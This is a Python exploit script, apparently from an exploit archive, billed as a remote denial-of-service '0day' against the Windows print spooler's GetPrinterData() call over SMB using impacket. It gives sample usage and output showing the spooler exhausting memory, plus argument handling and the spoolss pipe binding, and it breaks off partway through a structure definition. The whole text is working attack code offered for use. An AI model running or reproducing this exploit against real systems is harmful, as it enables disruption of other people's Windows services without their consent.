#!/usr/bin/python # MS Windows spoolss GetPrinterData() 0day Memory Allocation Remote DoS Exploit # Bug discovered by h07 # Tested on Windows 2000 SP4 Polish + All Microsoft Security Bulletins # Example: # # C:\>python spoolss_dos.py 192.168.0.2 512 # # [*] MS Windows GetPrinterData() 0day Memory Allocation Remote DoS Exploit # [*] Coded by h07 # [*] Connecting to 192.168.0.2:445 # [+] Connected # [+] The NETBIOS connection with the remote host timed out. # [+] 192.168.0.2: Out of memory # [+] Done # # Exploit --> GetPrinterData(handle, value, 1024 * 1024 * 512) --> MS_Windows # Spooler service(spoolsv.exe) memory usage: 512 MB ## from impacket.structure import Structure from impacket.nmb import NetBIOSTimeout from impacket.dcerpc import transport from impacket import uuid from struct import pack from string import atoi from sys import argv from sys import exit print "\n[*] MS Windows GetPrinterData() 0day Memory Allocation Remote DoS Exploit" print "[*] Coded by h07 " if(len(argv) < 3): print "[*] Usage: %s " % (argv[0]) print "[*] Sample: %s 192.168.0.1 512" % (argv[0]) exit() MB = 1024 * 1024 host = argv[1] memory_size = MB * atoi(argv[2]) interface = ('spoolss', '12345678-1234-abcd-ef00-0123456789ab', '1.0') stringbinding = "ncacn_np:%(host)s[\\pipe\\%(pipe)s]" stringbinding %= { 'host': host, 'pipe': interface[0], } class B1(Structure): alignment = 4 structure = ( ('id', '